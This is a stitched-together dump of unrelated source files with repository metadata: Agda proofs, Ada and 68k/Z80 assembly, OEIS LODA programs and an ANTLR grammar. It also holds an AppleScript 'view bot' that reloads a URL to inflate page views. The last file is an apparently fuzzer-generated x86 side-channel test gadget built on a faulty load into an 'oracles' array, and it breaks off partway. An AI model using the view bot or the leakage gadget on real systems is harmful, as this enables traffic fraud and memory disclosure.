Uₜ _ (idRedTerm:*: n) (ne neN) (~-to-≅ₜ n~n) (neu neN (univ n) n~n) neuTerm (ℕᵣ [ ⊢A , ⊢B , D ]) neN n n~n = let A≡ℕ = subset* D n~n′ = ~-conv n~n A≡ℕ n≡n = ~-to-≅ₜ n~n′ in ℕₜ _ (idRedTerm:*: (conv n A≡ℕ)) n≡n (ne (neNfₜ neN (conv n A≡ℕ) n~n′)) neuTerm (Emptyᵣ [ ⊢A , ⊢B , D ]) neN n n~n = let A≡Empty = subset* D n~n′ = ~-conv n~n A≡Empty n≡n = ~-to-≅ₜ n~n′ in Emptyₜ _ (idRedTerm:*: (conv n A≡Empty)) n≡n (ne (neNfₜ neN (conv n A≡Empty) n~n′)) neuTerm (Unitᵣ [ ⊢A , ⊢B , D ]) neN n n~n = let A≡Unit = subset* D n~n′ = ~-conv n~n A≡Unit in Unitₜ _ (idRedTerm:*: (conv n A≡Unit)) (ne neN) neuTerm (ne′ K [ ⊢A , ⊢B , D ] neK K≡K) neN n n~n = let A≡K = subset* D in neₜ _ (idRedTerm:*: (conv n A≡K)) (neNfₜ neN (conv n A≡K) (~-conv n~n A≡K)) neuTerm (Πᵣ′ F G D ⊢F ⊢G A≡A [F] [G] G-ext) neN n n~n = let A≡ΠFG = subset* (red D) in Πₜ _ (idRedTerm:*: (conv n A≡ΠFG)) (ne neN) (~-to-≅ₜ (~-conv n~n A≡ΠFG)) (λ {ρ} [ρ] ⊢Δ [a] [b] [a≡b] → let A≡ΠFG = subset* (red D) ρA≡ρΠFG = Wk.wkEq [ρ] ⊢Δ (subset* (red D)) G[a]≡G[b] = escapeEq ([G] [ρ] ⊢Δ [b]) (symEq ([G] [ρ] ⊢Δ [a]) ([G] [ρ] ⊢Δ [b]) (G-ext [ρ] ⊢Δ [a] [b] [a≡b])) a = escapeTerm ([F] [ρ] ⊢Δ) [a] b = escapeTerm ([F] [ρ] ⊢Δ) [b] a≡b = escapeTermEq ([F] [ρ] ⊢Δ) [a≡b] ρn = conv (Wk.wkTerm [ρ] ⊢Δ n) ρA≡ρΠFG neN∘a = ∘ₙ (wkNeutral ρ neN) neN∘b = ∘ₙ (wkNeutral ρ neN) in neuEqTerm ([G] [ρ] ⊢Δ [a]) neN∘a neN∘b (ρn ∘ⱼ a) (conv (ρn ∘ⱼ b) (≅-eq G[a]≡G[b])) (~-app (~-wk [ρ] ⊢Δ (~-conv n~n A≡ΠFG)) a≡b)) (λ {ρ} [ρ] ⊢Δ [a] → let ρA≡ρΠFG = Wk.wkEq [ρ] ⊢Δ (subset* (red D)) a = escapeTerm ([F] [ρ] ⊢Δ) [a] a≡a = escapeTermEq ([F] [ρ] ⊢Δ) (reflEqTerm ([F] [ρ] ⊢Δ) [a]) in neuTerm ([G] [ρ] ⊢Δ [a]) (∘ₙ (wkNeutral ρ neN)) (conv (Wk.wkTerm [ρ] ⊢Δ n) ρA≡ρΠFG ∘ⱼ a) (~-app (~-wk [ρ] ⊢Δ (~-conv n~n A≡ΠFG)) a≡a)) neuTerm (Σᵣ′ F G D ⊢F ⊢G A≡A [F] [G] G-ext) neN ⊢n n~n = let A≡ΣFG = subset* (red D) ⊢Γ = wf ⊢F ⊢n = conv ⊢n A≡ΣFG n~n = ~-conv n~n A≡ΣFG [F] = [F] Wk.id ⊢Γ [fst] = neuTerm [F] (fstₙ neN) (PE.subst (λ x → _ ⊢ fst _ ∷ x) (PE.sym (wk-id F)) (fstⱼ ⊢F ⊢G ⊢n)) (PE.subst (λ x → _ ⊢ _ ~ _ ∷ x) (PE.sym (wk-id F)) (~-fst ⊢F ⊢G n~n)) [Gfst] = [G] Wk.id ⊢Γ [fst] [snd] = neuTerm [Gfst] (sndₙ neN) (PE.subst (λ x → _ ⊢ snd _ ∷ x) (PE.cong (λ x → x [ fst _ ]) (PE.sym (wk-lift-id G))) (sndⱼ ⊢F ⊢G ⊢n)) (PE.subst (λ x → _ ⊢ _ ~ _ ∷ x) (PE.cong (λ x → x [ fst _ ]) (PE.sym (wk-lift-id G))) (~-snd ⊢F ⊢G n~n)) in Σₜ _ (idRedTerm:*: ⊢n) (ne neN) (~-to-≅ₜ n~n) [fst] [snd] neuTerm (emb 0<1 x) neN n = neuTerm x neN n -- Neutrally equal terms are of reducible equality. neuEqTerm : ∀ {l Γ A n n′} ([A] : Γ ⊩⟨ l ⟩ A) (neN : Neutral n) (neN′ : Neutral n′) → Γ ⊢ n ∷ A → Γ ⊢ n′ ∷ A → Γ ⊢ n ~ n′ ∷ A → Γ ⊩⟨ l ⟩ n ≡ n′ ∷ A / [A] neuEqTerm (Uᵣ′ .⁰ 0<1 ⊢Γ) neN neN′ n n′ n~n′ = let [n] = neu neN (univ n) (~-trans n~n′ (~-sym n~n′)) [n′] = neu neN′ (univ n′) (~-trans (~-sym n~n′) n~n′) in Uₜ₌ _ _ (idRedTerm:*: n) (idRedTerm:*: n′) (ne neN) (ne neN′) (~-to-≅ₜ n~n′) [n] [n′] (neuEq [n] neN neN′ (univ n) (univ n′) n~n′) neuEqTerm (ℕᵣ [ ⊢A , ⊢B , D ]) neN neN′ n n′ n~n′ = let A≡ℕ = subset* D n~n′₁ = ~-conv n~n′ A≡ℕ n≡n′ = ~-to-≅ₜ n~n′₁ in ℕₜ₌ _ _ (idRedTerm:*: (conv n A≡ℕ)) (idRedTerm:*: (conv n′ A≡ℕ)) n≡n′ (ne (neNfₜ₌ neN neN′ n~n′₁)) neuEqTerm (Emptyᵣ [ ⊢A , ⊢B , D ]) neN neN′ n n′ n~n′ = let A≡Empty = subset* D n~n′₁ = ~-conv n~n′ A≡Empty n≡n′ = ~-to-≅ₜ n~n′₁ in Emptyₜ₌ _ _ (idRedTerm:*: (conv n A≡Empty)) (idRedTerm:*: (conv n′ A≡Empty)) n≡n′ (ne (neNfₜ₌ neN neN′ n~n′₁)) neuEqTerm (Unitᵣ [ ⊢A , ⊢B , D ]) neN neN′ n n′ n~n′ = let A≡Unit = subset* D in Unitₜ₌ (conv n A≡Unit) (conv n′ A≡Unit) neuEqTerm (ne (ne K [ ⊢A , ⊢B , D ] neK K≡K)) neN neN′ n n′ n~n′ = let A≡K = subset* D in neₜ₌ _ _ (idRedTerm:*: (conv n A≡K)) (idRedTerm:*: (conv n′ A≡K)) (neNfₜ₌ neN neN′ (~-conv n~n′ A≡K)) neuEqTerm (Πᵣ′ F G [ ⊢A , ⊢B , D ] ⊢F ⊢G A≡A [F] [G] G-ext) neN neN′ n n′ n~n′ = let [ΠFG] = Πᵣ′ F G [ ⊢A , ⊢B , D ] ⊢F ⊢G A≡A [F] [G] G-ext A≡ΠFG = subset* D n~n′₁ = ~-conv n~n′ A≡ΠFG n≡n′ = ~-to-≅ₜ n~n′₁ n~n = ~-trans n~n′ (~-sym n~n′) n′~n′ = ~-trans (~-sym n~n′) n~n′ in Πₜ₌ _ _ (idRedTerm:*: (conv n A≡ΠFG)) (idRedTerm:*: (conv n′ A≡ΠFG)) (ne neN) (ne neN′) n≡n′ (neuTerm [ΠFG] neN n n~n) (neuTerm [ΠFG] neN′ n′ n′~n′) (λ {ρ} [ρ] ⊢Δ [a] → let ρA≡ρΠFG = Wk.wkEq [ρ] ⊢Δ A≡ΠFG ρn = Wk.wkTerm [ρ] ⊢Δ n ρn′ = Wk.wkTerm [ρ] ⊢Δ n′ a = escapeTerm ([F] [ρ] ⊢Δ) [a] a≡a = escapeTermEq ([F] [ρ] ⊢Δ) (reflEqTerm ([F] [ρ] ⊢Δ) [a]) neN∙a = ∘ₙ (wkNeutral ρ neN) neN′∙a′ = ∘ₙ (wkNeutral ρ neN′) in neuEqTerm ([G] [ρ] ⊢Δ [a]) neN∙a neN′∙a′ (conv ρn ρA≡ρΠFG ∘ⱼ a) (conv ρn′ ρA≡ρΠFG ∘ⱼ a) (~-app (~-wk [ρ] ⊢Δ n~n′₁) a≡a)) neuEqTerm (Σᵣ′ F G [ ⊢A , ⊢B , D ] ⊢F ⊢G A≡A [F] [G] G-ext) neN neN′ ⊢n ⊢n′ n~n′ = let [ΣFG] = Σᵣ′ F G [ ⊢A , ⊢B , D ] ⊢F ⊢G A≡A [F] [G] G-ext A≡ΣFG = subset* D n~n = ~-trans n~n′ (~-sym n~n′) n′~n′ = ~-trans (~-sym n~n′) n~n′ ⊢Γ = wf ⊢F ⊢nΣ = conv ⊢n A≡ΣFG ⊢n′Σ = conv ⊢n′ A≡ΣFG n~n′Σ = ~-conv n~n′ A≡ΣFG n~nΣ = ~-conv n~n A≡ΣFG n′~n′Σ = ~-conv n′~n′ A≡ΣFG [F] = [F] Wk.id ⊢Γ ⊢fstnΣ = (PE.subst (λ x → _ ⊢ fst _ ∷ x) (PE.sym (wk-id F)) (fstⱼ ⊢F ⊢G ⊢nΣ)) ⊢fstn′Σ = (PE.subst (λ x → _ ⊢ fst _ ∷ x) (PE.sym (wk-id F)) (fstⱼ ⊢F ⊢G ⊢n′Σ)) [fstn] = neuTerm [F] (fstₙ neN) ⊢fstnΣ (PE.subst (λ x → _ ⊢ _ ~ _ ∷ x) (PE.sym (wk-id F)) (~-fst ⊢F ⊢G n~nΣ)) [fstn′] = neuTerm [F] (fstₙ neN′) ⊢fstn′Σ (PE.subst (λ x → _ ⊢ _ ~ _ ∷ x) (PE.sym (wk-id F)) (~-fst ⊢F ⊢G n′~n′Σ)) [fstn≡fstn′] = neuEqTerm [F] (fstₙ neN) (fstₙ neN′) ⊢fstnΣ ⊢fstn′Σ (PE.subst (λ x → _ ⊢ _ ~ _ ∷ x) (PE.sym (wk-id F)) (~-fst ⊢F ⊢G n~n′Σ)) [Gfstn] = [G] Wk.id ⊢Γ [fstn] [Gfstn′] = PE.subst (λ x → _ ⊩⟨ _ ⟩ x [ fst _ ]) (wk-lift-id G) ([G] Wk.id ⊢Γ [fstn′]) [fstn′≡fstn] = symEqTerm [F] [fstn≡fstn′] [Gfstn′≡Gfstn] = irrelevanceEq″ (PE.cong (λ x → x [ fst _ ]) (wk-lift-id G)) (PE.cong (λ x → x [ fst _ ]) (wk-lift-id G)) ([G] Wk.id ⊢Γ [fstn′]) [Gfstn′] (G-ext Wk.id ⊢Γ [fstn′] [fstn] [fstn′≡fstn]) Gfstn′≡Gfstn = ≅-eq (escapeEq [Gfstn′] [Gfstn′≡Gfstn]) [sndn≡sndn′] = neuEqTerm [Gfstn] (sndₙ neN) (sndₙ neN′) (PE.subst (λ x → _ ⊢ snd _ ∷ x) (PE.cong (λ x → x [ fst _ ]) (PE.sym (wk-lift-id G))) (sndⱼ ⊢F ⊢G ⊢nΣ)) (PE.subst (λ x → _ ⊢ snd _ ∷ x) (PE.cong (λ x → x [ fst _ ]) (PE.sym (wk-lift-id G))) (conv (sndⱼ ⊢F ⊢G ⊢n′Σ) Gfstn′≡Gfstn)) (PE.subst (λ x → _ ⊢ _ ~ _ ∷ x) (PE.cong (λ x → x [ fst _ ]) (PE.sym (wk-lift-id G))) (~-snd ⊢F ⊢G n~n′Σ)) in Σₜ₌ _ _ (idRedTerm:*: ⊢nΣ) (idRedTerm:*: ⊢n′Σ) (ne neN) (ne neN′) (~-to-≅ₜ n~n′Σ) (neuTerm [ΣFG] neN ⊢n n~n) (neuTerm [ΣFG] neN′ ⊢n′ n′~n′) [fstn] [fstn′] [fstn≡fstn′] [sndn≡sndn′] neuEqTerm (emb 0<1 x) neN neN′ n:≡:n′ = neuEqTerm x neN neN′ n:≡:n′
bb-runtimes/arm/cortex-m1/microsemi/s-textio.adb
JCGobbi/Nucleo-STM32G474RE
0
4506
<filename>bb-runtimes/arm/cortex-m1/microsemi/s-textio.adb ------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- S Y S T E M . T E X T _ I O -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2019, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Interfaces.Microsemi; use Interfaces.Microsemi; with Interfaces.Microsemi.CoreUARTapb; use Interfaces.Microsemi.CoreUARTapb; with System.BB.Board_Parameters; package body System.Text_IO is ---------------- -- Initialize -- ---------------- procedure Initialize is Baud_Rate : constant := 115200; begin Initialized := True; -- Divider for Baudrate CoreUARTapb_Periph.Control_1.Baud_Value := Byte (System.BB.Board_Parameters.Clock_Frequency / (16 * Baud_Rate) - 1); CoreUARTapb_Periph.Control_2.Bit8 := True; CoreUARTapb_Periph.Control_2.Parity_En := False; CoreUARTapb_Periph.Control_2.Odd_N_Even := Even; CoreUARTapb_Periph.Control_2.Baud_Value := 0; end Initialize; ----------------- -- Is_Tx_Ready -- ----------------- function Is_Tx_Ready return Boolean is (CoreUARTapb_Periph.Status.TX_Rdy); ----------------- -- Is_Rx_Ready -- ----------------- function Is_Rx_Ready return Boolean is (CoreUARTapb_Periph.Status.RX_Rdy); --------- -- Get -- --------- function Get return Character is begin return Character'Val (CoreUARTapb_Periph.Rx_Data.Value); end Get; --------- -- Put -- --------- procedure Put (C : Character) is begin CoreUARTapb_Periph.Tx_Data.Value := Byte (Character'Pos (C)); end Put; ---------------------------- -- Use_Cr_Lf_For_New_Line -- ---------------------------- function Use_Cr_Lf_For_New_Line return Boolean is (True); end System.Text_IO;
viewbot.scpt
EvolvedAwesome/View-Bot
0
1847
# # # Created by: <NAME> # # On the: 8th October 2015 # # # # Sets the amount of times the webpage is opened and closed property repeatNumber : 0 # Set the Target url property targetUrl : "" # The time to wait for to load the webpage property waitTime : 0 # The web browser to use property webApplication : "" # Selection dialogues display dialog "What is the website url that you are View Botting? " buttons {"OK"} default answer "http://www.mywebsite.com/" set targetUrl to text returned of result display dialog "How Many Times do you want to view this page? " buttons {"OK"} default answer "1000" set repeatNumber to text returned of result display dialog "What is the time (seconds) between page views? " buttons {"OK"} default answer "7" set waitTime to text returned of result # Displays if 'other' was selected display dialog "What Web Browser do you want to use?" default answer "Safari" buttons {"OK"} default button 1 set webApplication to text returned of result # Displays that the loop is running # Automatically exits after 2 seconds display dialog "Script is running" buttons {"Cancel"} giving up after 1 # Main Repeat Loop repeat repeatNumber times tell application webApplication # Opens the webpage open location targetUrl # Waits a prespecified amount of time to let the webpage load # and count a view delay waitTime # Closes the webpage to prevent the computer from # running out of ram and crashing close (every window) end tell end repeat
oeis/003/A003959.asm
neoneye/loda-programs
11
4441
<filename>oeis/003/A003959.asm<gh_stars>10-100 ; A003959: If n = Product p(k)^e(k) then a(n) = Product (p(k)+1)^e(k), a(1) = 1. ; Submitted by <NAME> ; 1,3,4,9,6,12,8,27,16,18,12,36,14,24,24,81,18,48,20,54,32,36,24,108,36,42,64,72,30,72,32,243,48,54,48,144,38,60,56,162,42,96,44,108,96,72,48,324,64,108,72,126,54,192,72,216,80,90,60,216,62,96,128,729,84,144,68,162,96,144,72,432,74,114,144,180,96,168,80,486,256,126,84,288,108,132,120,324,90,288,112,216,128,144,120,972,98,192,192,324 add $0,1 mov $1,1 mov $2,2 mov $4,1 lpb $0 mul $1,$4 mov $3,$0 lpb $3 mov $4,$0 mod $4,$2 add $2,1 cmp $4,0 cmp $4,0 sub $3,$4 lpe div $0,$2 mov $4,$2 add $4,1 lpe mov $0,$1
C++Verifier/src/antlr4/SimpleSMTLIBLexer.g4
microsoft/aragog
5
7210
<gh_stars>1-10 /** * SMT-LIB (v2.6) grammar * * Grammar is baesd on the following specification: * http://smtlib.cs.uiowa.edu/papers/smt-lib-reference-v2.6-r2017-07-18.pdf * * The MIT License (MIT) * * Copyright (c) 2017 <NAME> <<EMAIL>> * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is furnished to do * so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. **/ lexer grammar SimpleSMTLIBLexer; ParOpen : '('; ParClose : ')'; PS_And : 'and'; PS_Or : 'or'; PS_Not : 'not'; PS_Eq : '='; PS_Lt : '<'; PS_Le : '<='; PS_Gt : '>'; PS_Ge : '>='; PS_Add : '+'; PS_Sub : '-'; PS_Div : '/'; PS_Mul : '*'; PIPE : '|'; DOUBLE_QUOTE : '"' ; PS_False : 'false' ; PS_True : 'true' ; GRW_Binary : 'BINARY' ; GRW_Decimal : 'DECIMAL' ; GRW_Exists : 'exists' ; GRW_Hexadecimal : 'HEXADECIMAL' ; GRW_Forall : 'forall' ; GRW_Let : 'let' ; GRW_Match : 'match' ; GRW_Numeral : 'NUMERAL' ; GRW_Par : 'par' ; GRW_String : 'string' ; GRW_Ite : 'ite' ; Numeral : '0' | [1-9] Digit* ; Binary: BinaryDigit+ ; HexDecimal : '#x' HexDigit HexDigit HexDigit HexDigit ; Decimal : Numeral '.' '0'* Numeral ; fragment HexDigit : [0-9a-fA-F] ; fragment Digit : [0-9] ; fragment Sym : [a-zA-Z_] | '!' | '$' ; fragment BinaryDigit : [01] ; UndefinedSymbol: (Digit | Sym | '.')+; WHITESPACE: [ \t\f\r\n] -> channel(HIDDEN); // Ignore whitespaces.
Helper/CodeGeneration.agda
mathijsb/generic-in-agda
6
6683
module Helper.CodeGeneration where open import Agda.Primitive open import Data.Nat open import Data.Fin open import Data.List open import Function using (_∘_ ; _$_ ; _∋_) open import Reflection a : {A : Set} -> (x : A) -> Arg A a x = arg (arg-info visible relevant) x a1 : {A : Set} -> (x : A) -> Arg A a1 x = arg (arg-info hidden relevant) x t0 : Term -> Type t0 t = el (lit 0) t fin_term : (n : ℕ) -> Term fin_term zero = con (quote Fin.zero) [] fin_term (suc fin) = con (quote Fin.suc) [ a (fin_term fin) ] fin_pat : (n : ℕ) -> (l : Pattern) -> Pattern fin_pat zero l = l fin_pat (suc n) l = con (quote Fin.suc) [ a (fin_pat n l) ] fin_type : (n : ℕ) -> Type fin_type n = t0 (def (quote Fin) [ a (lit (nat n)) ]) -- Annotate terms with a type _∋-t_ : Term -> Term -> Term _∋-t_ ty term = def (quote _∋_) (a ty ∷ a term ∷ []) cons : (n : Name) -> List Name cons n with (definition n) cons n | data-type d = reverse (constructors d) cons n | _ = [] infer_type = el (lit 0) unknown
oeis/160/A160107.asm
neoneye/loda-programs
11
29635
<reponame>neoneye/loda-programs ; A160107: Numerator of Hermite(n, 7/27). ; Submitted by <NAME> ; 1,14,-1262,-58492,4701100,406940744,-28573848584,-3959951508688,236185377526672,49495469682710240,-2406287948347046624,-755331979250773951936,28017398406079098428608,13607531886656648441072768,-340536322975630153440817280,-282524449392094330127348782336,3492187091987710833967790960896,6639620974706604484886341467786752,6397344383885062057683113792246272,-174160650038825737232549581887504071680,-2615468334665944310377631764697863230464,5041907998446835277355858963133848644962304 mov $1,1 lpb $0 sub $0,1 mul $2,18 add $1,$2 sub $2,$1 mul $1,18 sub $1,$2 mul $2,9 sub $1,$2 div $1,2 mul $2,$0 lpe mov $0,$1
helloworld.asm
billyrayvalentine/asm68k-megadrive-helloworld
4
17835
<reponame>billyrayvalentine/asm68k-megadrive-helloworld<filename>helloworld.asm /* * helloworld.asm * Written for use with GNU AS * Copyright © 2020 <NAME> <github.com/billyrayvalentine> * This work is free. You can redistribute it and/or modify it under the * terms of the Do What The Fuck You Want To Public License, Version 2, * as published by Sam Hocevar. See the COPYING file for more details. */ * Everything kicks off here. Must be at 0x200 .include "rom_header.asm" cpu_entrypoint: * Setup the TMSS stuff jsr tmss * Initialise joypad 1 move.b #0x40, IO_CTRL_PORT1 move.b #0x40, IO_DATA_PORT1 * Setup the VDP registers jsr init_vdp * All the commands to send to the control port can be worked out using the * example in the README * Load the palette into CRAM move.l #0xC0000000, VDP_CTRL_PORT lea Palette0, a0 moveq #16-1, d0 1: move.w (a0)+, VDP_DATA_PORT dbra d0, 1b * Load 7 "cells" (tiles) into the (7*8-1) longwords * Skip the first 32 bytes of VRAM so we have a blank tile move.l #0x40200000, VDP_CTRL_PORT lea TilesLetters, a0 moveq #56-1, d0 1: move.l (a0)+, VDP_DATA_PORT dbra d0, 1b * Load the bar tiles lea TilesBar, a0 moveq #32-1, d0 1: move.l (a0)+, VDP_DATA_PORT dbra d0, 1b * Update plane A table @ 0xC000 move.l #0x40000003, VDP_CTRL_PORT move.w #0x001, VDP_DATA_PORT move.w #0x002, VDP_DATA_PORT move.w #0x003, VDP_DATA_PORT move.w #0x003, VDP_DATA_PORT move.w #0x004, VDP_DATA_PORT move.w #0x000, VDP_DATA_PORT * Update plane table B @ 0xE000 move.l #0x60000003, VDP_CTRL_PORT move.w #0x005, VDP_DATA_PORT move.w #0x004, VDP_DATA_PORT move.w #0x006, VDP_DATA_PORT move.w #0x003, VDP_DATA_PORT move.w #0x007, VDP_DATA_PORT * Load initial sprite table to 0xAB00 move.l #0x68000002, VDP_CTRL_PORT lea BarSprite, a0 move.l (a0)+, VDP_DATA_PORT move.l (a0)+, VDP_DATA_PORT * Set the initial X and Y positions move.w #128, RAM_SPRITE_TARGET_X move.w #128, RAM_SPRITE_TARGET_Y move.w #128, d6 /* Counter for x */ move.w #128, d7 /* Counter for y */ move.l #0, d4 /* Counter for x scroll offset */ move.l #0, d5 /* Counter for y scroll offset */ /* * Main loop * Wait for the VBLANK to start * Get the input for the joy pad * Move the sprite and the scroll planes * Wait for the VBLANK to end * * Joypad values and sprite positions are kept in RAM */ forever: jsr wait_vblank_start jsr read_controller_1 * If right then move sprite right btst.b #3, RAM_CONTROLLER_1 beq 1f * Check the sprite is at the screen boundary, if so skip * Screen h cmpi.w #320 + 128 - 32, RAM_SPRITE_TARGET_X beq 4f addi.w #1, RAM_SPRITE_TARGET_X addi.w #1, d6 * If left then move sprite left 1: btst.b #2, RAM_CONTROLLER_1 beq 2f * Check the sprite is at the screen boundary, if so skip cmpi.w #0 + 128, RAM_SPRITE_TARGET_X beq 4f subi.w #1, RAM_SPRITE_TARGET_X subi.w #1, d6 * If up then move the sprite up 2: btst.b #0, RAM_CONTROLLER_1 beq 3f * check the sprite is at the screen boundary, if so skip cmpi.w #0 + 128, RAM_SPRITE_TARGET_Y beq 4f subi.w #1, RAM_SPRITE_TARGET_Y subi.w #1, d7 * If down then move the sprite down 3: btst.b #1, RAM_CONTROLLER_1 beq 4f * Check the sprite is at the screen boundary, if so skip cmpi.w #224 + 128 - 8, RAM_SPRITE_TARGET_Y beq 4f addi.w #1, RAM_SPRITE_TARGET_Y addi.w #1, d7 * Update horizontal scroll table @ 0xAC00 and scroll plane A * If the offset is >320 (size of screen width) then reset to 0 4: cmp.w #320, d4 bls.s 1f move.w #0, d4 1: move.l #0x6C000002, VDP_CTRL_PORT move.w d4, VDP_DATA_PORT * Update vertical scroll table which is in VSRAM * skip the first word as we want to scroll plane B cmp.w #224, d5 bls.s 1f move.w #0, d5 1: move.l #0x40020010, VDP_CTRL_PORT move.w d5, VDP_DATA_PORT add.w #1, d4 add.b #1, d5 jsr update_sprite_table jsr wait_vblank_end jmp forever update_sprite_table: * Update sprite table move.l #0x68000002, VDP_CTRL_PORT move.w RAM_SPRITE_TARGET_Y, VDP_DATA_PORT move.w #0x0C00, VDP_DATA_PORT move.w #0x0008, VDP_DATA_PORT move.w RAM_SPRITE_TARGET_X, VDP_DATA_PORT rts read_controller_1: * Read controller 1 input into $FF0000 move.l #IO_DATA_PORT1, a0 move.b #0x40, (a0) nop nop move.b (a0), d0 move.b #0x00, (a0) nop nop move.b (a0), d1 andi.b #0x3f, d0 andi.b #0x30, d1 lsl.b #2, d1 or.b d1, d0 * NOT The bits so that that we have SACBRLDU * and a 1 rather than 0 when the bit is set * Finally write the value to RAM not d0 move.b d0, RAM_CONTROLLER_1 rts wait_vblank_start: * Bit 4 of the VDP register is set to 1 when the vblanking is in progress * Keep looping until this is set * The VDP register can be read simply by reading from the control port * address move.w VDP_CTRL_PORT, d0 btst.b #4-1, d0 beq wait_vblank_start rts wait_vblank_end: * Similar to wait_vblank_start but the inverse move.w VDP_CTRL_PORT, d0 btst.b #4-1, d0 bne wait_vblank_end rts .include "globals.asm" .include "init_vdp.asm" .include "tmss.asm" .include "palletes.asm" /* * Interrupt handler */ cpu_exception: rte int_null: rte int_hinterrupt: rte int_vinterrupt: rte rom_end:
libsrc/video/tms9918/stdio/generic_console/bordercolour.asm
Frodevan/z88dk
640
10992
<gh_stars>100-1000 ; void bordercolor(int c) __z88dk_fastcall; ; ; SECTION code_clib PUBLIC __tms9918_bordercolor EXTERN __tms9918_map_colour EXTERN msx_set_border INCLUDE "video/tms9918/vdp.inc" IF VDP_EXPORT_DIRECT = 1 PUBLIC bordercolor PUBLIC _bordercolor defc bordercolor = __tms9918_bordercolor defc _bordercolor = __tms9918_bordercolor ENDIF __tms9918_bordercolor: ld a,l call __tms9918_map_colour ld l,a jp msx_set_border
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1586.asm
ljhsiun2/medusa
9
104286
<filename>Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1586.asm .global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x9302, %r8 nop nop nop nop nop add %r13, %r13 mov (%r8), %cx nop nop xor $22974, %rsi lea addresses_normal_ht+0x101be, %r8 nop nop nop nop nop add %rdi, %rdi mov $0x6162636465666768, %r12 movq %r12, %xmm7 movups %xmm7, (%r8) xor %rdi, %rdi lea addresses_D_ht+0x18602, %r13 clflush (%r13) nop nop nop dec %rbx movl $0x61626364, (%r13) nop sub $60552, %r8 lea addresses_normal_ht+0xb602, %rdi nop nop nop nop and $25565, %r8 mov (%rdi), %cx nop nop nop and $49449, %rcx lea addresses_normal_ht+0x9e02, %r12 nop nop nop inc %r8 movups (%r12), %xmm6 vpextrq $0, %xmm6, %r13 nop nop cmp $42727, %rbx lea addresses_D_ht+0x18682, %r8 add %rsi, %rsi movw $0x6162, (%r8) nop xor $16664, %rsi lea addresses_normal_ht+0x1dd02, %rdi inc %rbx vmovups (%rdi), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %rcx nop nop nop and $40682, %rcx lea addresses_WT_ht+0xc1da, %rsi lea addresses_A_ht+0x10517, %rdi add $63912, %r9 mov $39, %rcx rep movsw nop nop nop nop dec %rcx lea addresses_WT_ht+0x11a42, %rsi lea addresses_WT_ht+0x1dc82, %rdi nop nop nop nop cmp $55956, %r12 mov $87, %rcx rep movsb cmp $51450, %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r9 push %rbp push %rdi push %rdx // Faulty Load lea addresses_UC+0xf602, %rdx nop nop nop and %r10, %r10 vmovups (%rdx), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r9 lea oracles, %r14 and $0xff, %r9 shlq $12, %r9 mov (%r14,%r9,1), %r9 pop %rdx pop %rdi pop %rbp pop %r9 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': True, 'type': 'addresses_D_ht'}} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 